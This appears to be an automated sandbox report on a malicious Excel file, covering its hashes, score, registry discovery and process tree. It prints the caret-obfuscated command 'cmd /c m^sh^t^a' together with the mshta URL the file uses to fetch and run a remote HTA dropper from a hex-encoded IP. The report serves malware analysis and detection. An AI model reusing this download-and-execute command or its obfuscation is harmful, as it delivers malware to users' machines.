7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
146s
max time network
164s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file-10.xls
Size

64KB
MD5

407ca1c008aa11bf01667acb1ca9c9ba
SHA1

ab10e5c867cd042b37267582ade18f5f64dbfaad
SHA256

b2e3f03e8c40c6ac8f71e22a34cc667118eac3838f0f2c551c55980b0a50a12b
SHA512

7bbc16a8670faeac82f89036f6e97d764dfc074c82b9ab7c3abfa20effea8d652884a7cbfa944b89133ff5b6133369cce7250cfe2ac4aeb3f7bb5dd6e34c2ede

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	640	2644	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

21 2344 mshta.exe

flow	pid	process
21	2344	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2644 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2644 wrote to memory of 640	2644	EXCEL.EXE	cmd.exe
PID 2644 wrote to memory of 640	2644	EXCEL.EXE	cmd.exe
PID 640 wrote to memory of 2344	640	cmd.exe	mshta.exe
PID 640 wrote to memory of 2344	640	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-10.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:640

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:2344

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2644-117-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2644-118-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2644-119-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2644-120-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2644-121-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2644-130-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

Filesize
64KB

Download
memory/2644-131-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

Filesize
64KB

Download
memory/2644-307-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2644-308-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2644-309-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2644-310-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download